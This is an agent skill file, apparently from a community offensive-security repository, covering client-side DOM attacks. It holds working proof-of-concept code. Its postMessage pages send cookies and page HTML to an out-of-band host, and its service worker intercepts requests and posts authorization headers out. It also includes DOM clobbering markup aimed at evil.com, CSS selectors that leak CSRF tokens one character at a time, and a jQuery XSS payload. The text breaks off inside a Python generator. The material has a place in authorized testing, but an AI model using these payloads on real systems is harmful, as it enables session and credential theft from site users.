- name
- hunt-dom
- description
- Hunt client-side DOM vulnerabilities
- category
- security
- risk
- offensive
- source
- https://github.com/elementalsouls/Claude-BugHunter
- source_repo
- elementalsouls/Claude-BugHunter
- source_type
- community
- date_added
- 2026-09-20
- license
- MIT
- license_source
- https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
- compatibility
- Requires explicit written authorization for a target scope plus the relevant testing tools for this technique. Docs-only; helper scripts and commands not bundled.
- sources
- portswigger_research, hackerone_public, github_security_advisories
- report_count
- 14
> **⚠️ AUTHORIZED USE ONLY**
> This skill is for educational purposes or authorized security assessments only.
> You must have explicit, written permission from the system owner before using this tool.
> Misuse of this tool is illegal and strictly prohibited.
> **Mandatory confirmation gate**
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
> 1. Ask the user to state the exact target URL, IP, account, or resource.
> 2. Ask the user to confirm written authorization and the permitted scope.
> 3. Show the exact command(s) and explain their expected effect.
> 4. Wait for explicit confirmation in the current conversation.
>
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
# HUNT-DOM — DOM Clobbering / PostMessage / Service Worker / CSS Exfil
## Crown Jewel Targets
DOM-based attacks execute in the victim's browser — the server often never sees the payload, so WAFs and server-side input filters do not apply. PostMessage missing-origin-check = cross-origin token theft with no XSS needed.
**Highest-value chains:**
- **DOM Clobbering → DOM-XSS / auth bypass** — HTML *markup* injection (no `<script>`) overwrites a JS global like `window.config` or shadows `document.getElementById`, and the app later treats that value as a URL/code → sink fires under a markup-only injection where script is filtered.
- **PostMessage no origin check → session theft / DOM-XSS** — a `message` handler that trusts `event.data` without validating `event.origin` lets an attacker iframe/opener drive privileged actions or feed a sink.
- **Service Worker abuse** — register a **same-origin** SW script (reachable because of an upload / open-redirect / path the target serves) via stored XSS → intercept all in-scope `fetch` → persistent credential capture.
- **CSS Exfil** — attribute-value selectors (`input[value^="a"]`) leak a CSRF token / API key / nonce char-by-char to an OOB host with zero JS.
### Grounding — public research this is distilled from
- **DOM Clobbering / DOM-Invader** — Gareth Heyes & the PortSwigger Web Security Academy "DOM clobbering" topic; DOM-Invader ships a dedicated clobbering scanner. Sink taxonomy maps to the academy's DOM-based vulnerability labs.
- **DOMPurify clobbering & mXSS bypasses** — Michał Bentkowski (Securitum) blog series on bypassing HTML sanitizers via clobbering and mutation XSS.
- **jQuery `htmlPrefilter` self-closing-tag XSS** — **CVE-2020-11022** and **CVE-2020-11023** (jQuery < 3.5.0). Passing attacker HTML to `.html()` / `.append()` mutates into executing markup. Grep bundled jQuery version; this is one of the most common real-world DOM-XSS roots.
- **CSS exfiltration** — d0nut "CSS Injection Attacks" / "Stealing Data With CSS" research (sequential `@import` recursion to drop the per-char-position constraint).
> Cite only what you reproduce. Do not paste these as "proof" in a report — your PoC against the live target is the evidence. Named research here is for *technique provenance*, not severity inflation.
---
## Attack Surface Signals
```
# Injection points that allow MARKUP but may strip <script>:
user bio / display name / comment / markdown preview / SVG upload / CMS rich-text
# postMessage endpoints (iframes, SSO widgets, payment frames, chat widgets):
*/sso/* */embed/* */widget/* */oauth/* /sdk.js pay/checkout iframes
# Service worker presence:
/sw.js /service-worker.js /firebase-messaging-sw.js /ngsw-worker.js (Angular)
# CSS injection points:
?theme= custom-css profile field email-template editor style= passthrough
```
---
## Phase 1 — DOM Clobbering
```bash
# Signal: app reads element IDs/names as if they were JS objects, OR feeds a
# clobberable global into a sink (location, innerHTML, eval, script.src).
# Inject MARKUP (no script) at a sink that lets named/id'd elements through.
# Single-level clobber of window.config:
# <a id="config" href="https://evil.com">
# Clobber a NON-built-in global the app reads (built-in methods like getElementById can't be shadowed this way):
# <a id="config"></a><a id="config" name="url"> # window.config.url resolves to an attacker-controlled element/string
# Clobber a string-coerced URL value (anchor toString() == href):
# <a id="x"></a><a id="x" name="y" href="https://evil.com"> # x.y -> href
# Nested window.a.b.c via form/inputs:
# <form id="a"><input id="b" name="c" value="clobbered"></form>
# baseURI / relative-URL hijack:
# <base href="https://evil.com/"> # bends every relative src/href
```
```javascript
// Browser console: find globals that are clobberable AND reach a sink.
// A var only matters if the app later concatenates it into a URL/HTML/eval.
const susp = ['config','settings','options','appConfig','init','data','user',
'token','csrf','nonce','baseUrl','apiUrl','cdn','redirect','next','debug'];
susp.forEach(k => {
const v = window[k];
// HTMLCollection / element => already clobbered or clobberable namespace
if (v && (v instanceof Element || v instanceof HTMLCollection))
console.log('[CLOBBERED/NAMESPACE]', k, v);
else if (v !== undefined) console.log('[GLOBAL]', k, '=', v);
});
```
```bash
# Source review: find globals fed into sinks (this is what makes clobbering exploitable)
curl -s "https://$TARGET/" | grep -nE \
"document\.(getElementById|baseURI)|window\.[A-Za-z_]+\.(url|src|href|html|cmd)|\
location\s*=\s*[A-Za-z_]|\.innerHTML\s*=|eval\(|new Function\(|\.src\s*=\s*[A-Za-z_]"
# DOM-Invader (Burp) → enable "DOM clobbering" — it auto-finds clobberable sources→sinks.
```
**jQuery angle:** if the bundle ships jQuery < 3.5.0, attacker HTML passed to `.html()`/`.append()` self-mutates to execute (**CVE-2020-11022 / CVE-2020-11023**). Confirm version then test `<style><style /><img src=x onerror=alert(document.domain)>`.
---
## Phase 2 — PostMessage Hijacking
Two bug classes: (a) **listener** trusts cross-origin data → drive a sink/privileged action; (b) **sender** broadcasts secrets with target origin `'*'` → any framing page reads them.
```bash
# Find handlers and flag the ones with NO origin check
grep -rnE "addEventListener\(\s*['\"]message['\"]|onmessage\s*=" recon/$TARGET/ --include="*.js" 2>/dev/null \
| grep -vE "\.origin\b"
# Then for each, read +/- 20 lines: where does event.data go? (innerHTML/eval/location/token store)
# Senders that leak: grep for postMessage(<secret>, '*')
grep -rnE "postMessage\([^,]+,\s*['\"]\*['\"]\)" recon/$TARGET/ --include="*.js" 2>/dev/null
```
```html
<!-- PoC A: drive a no-origin-check LISTENER from an attacker page -->
<!-- Host on attacker.com; frames target and pushes a privileged message -->
<iframe id="f" src="https://TARGET/page-with-listener"></iframe>
<script>
document.getElementById('f').onload = () => {
const w = document.getElementById('f').contentWindow;
// Shape the payload to whatever the handler routes into a sink:
w.postMessage({type:'navigate', url:'javascript:fetch("https://OOB/x?c="+document.cookie)'}, '*');
w.postMessage('<img src=x onerror=fetch("https://OOB/dom?h="+btoa(document.body.innerHTML))>', '*');
};
</script>
```
```html
<!-- PoC B: capture secrets from a SENDER that uses targetOrigin '*' -->
<iframe id="f" src="https://TARGET/sso-or-widget" style="display:none"></iframe>
<pre id="out"></pre>
<script>
addEventListener('message', e => {
// Only count it if e.origin is the TARGET and data carries a secret
out.textContent += `origin=${e.origin}\ndata=${JSON.stringify(e.data)}\n---\n`;
if (/token|session|jwt|code=/i.test(JSON.stringify(e.data)))
fetch('https://OOB/pm?d='+encodeURIComponent(JSON.stringify(e.data))); // OOB proof
});
</script>
```
> False-positive guard: a handler with a *partial* check (`origin.indexOf('target.com')>-1`, `endsWith('target.com')`, regex `target\.com`) is still vulnerable — bypass with `target.com.evil.com` or `eviltarget.com`. Confirm by serving the PoC from such a look-alike host and showing the message still lands.
---
### PostMessage handler race — win the message before origin is set
Beyond static origin/sender checks: some handlers trust the FIRST message, or read `event.origin` while it is still `""`/`null` during frame load. Race it — flood `postMessage` in a tight loop during iframe/popup load, or fire from `about:blank` before navigation, so your message lands before the legit sender or before strict origin setup runs. Test any handler that assumes "first message = trusted". Disclosed: reports/381356.
## Phase 3 — Service Worker Abuse
**Hard rule (corrects a common mistake):** a SW script URL **must be same-origin** as the page calling `register()`. A cross-origin script URL (`https://evil.com/sw.js`) throws `SecurityError` — there is **no header that enables cross-origin SW *script* registration**. `Service-Worker-Allowed` only widens the **scope** a same-origin script may control, not where the script may live.
So the realistic path is: get a SW script **onto the target origin** (file upload that serves JS, open-redirect/path the origin reflects as a script, a JSON/JSONP endpoint with `text/javascript`, or an existing route under your control), then register it from same-origin XSS.
```bash
# Enumerate existing SW + its scope
curl -s "https://$TARGET/" | grep -iE "serviceWorker\.register|navigator\.serviceWorker"
for p in sw.js service-worker.js firebase-messaging-sw.js ngsw-worker.js; do
curl -s -o /dev/null -w "%{http_code} $p\n" "https://$TARGET/$p"; done
curl -s "https://$TARGET/sw.js" | grep -iE "scope|addEventListener\('fetch'|caches"
# Look for an upload/route that returns Content-Type: text/javascript on YOUR content:
# curl -s -D- https://$TARGET/uploads/<id> | grep -i content-type
```
```javascript
// Runs in same-origin XSS. SCRIPT MUST BE SAME-ORIGIN (e.g. /uploads/evil-sw.js
// served by the target). scope must be <= the directory the script is served from
// unless the response carries Service-Worker-Allowed.
navigator.serviceWorker.register('/uploads/evil-sw.js', {scope: '/'})
.then(r => fetch('https://OOB/sw-registered?scope='+r.scope)) // OOB proof of registration
.catch(e => console.log('SW reg failed', e.name)); // SecurityError => wrong origin/scope
// evil-sw.js (served from the TARGET origin):
self.addEventListener('fetch', e => {
e.respondWith(fetch(e.request.clone()).then(async resp => {
// Exfil URL + any auth header the page attaches, to OOB
fetch('https://OOB/sw-intercept', {method:'POST',
body: JSON.stringify({url: e.request.url,
auth: e.request.headers.get('authorization')})});
return resp;
}));
});
```
> Persistence note: a SW survives tab close and re-runs on next visit within scope — that is what makes it Critical. Confirm persistence by closing all tabs, reopening the origin, and showing a fresh OOB hit with no XSS re-trigger.
---
## Phase 4 — CSS Injection / Exfiltration
```bash
# Prereq: attacker controls CSS (custom-theme field, style= passthrough, email
# template, markdown CSS). Targets: hidden CSRF input, API key in meta, nonce attr.
# Step 1 confirm injection: inject "color:red" on a known element, observe render.
# Step 2 leak attribute values char-by-char via attribute selectors + url() to OOB.
```
> **Scope caveat (corrects an overstatement):** CSS exfil bypasses CSP that blocks *script execution* — it does **not** bypass a CSP whose `style-src` / `img-src` / `default-src` / `connect-src` restricts external origins, or `form-action`. If `img-src 'self'` is set, `url(https://OOB/...)` is **blocked**. Always read the live `Content-Security-Policy` header first; if external resource origins are locked down, CSS exfil is dead and you should say so rather than claim it.
```css
/* One request fires only for the matching first char. */
input[name="csrf"][value^="a"] { background: url(https://OOB.example/c?p=0&c=a); }
input[name="csrf"][value^="b"] { background: url(https://OOB.example/c?p=0&c=b); }
/* ...all chars... then chain @import to leak position 1 conditioned on position 0, etc. */
meta[name="csrf-token"][content^="a"] { background: url(https://OOB.example/c?m=a); }
```
```python
# Generate a single-position CSS exfil set (loop positions with sequential @import in practice)
import string
chars = string.ascii_letters + string.digits + '-_'
attr, oob, pos = 'name="csrf"', 'https://OOB.example/c', 0
print("\n".join(
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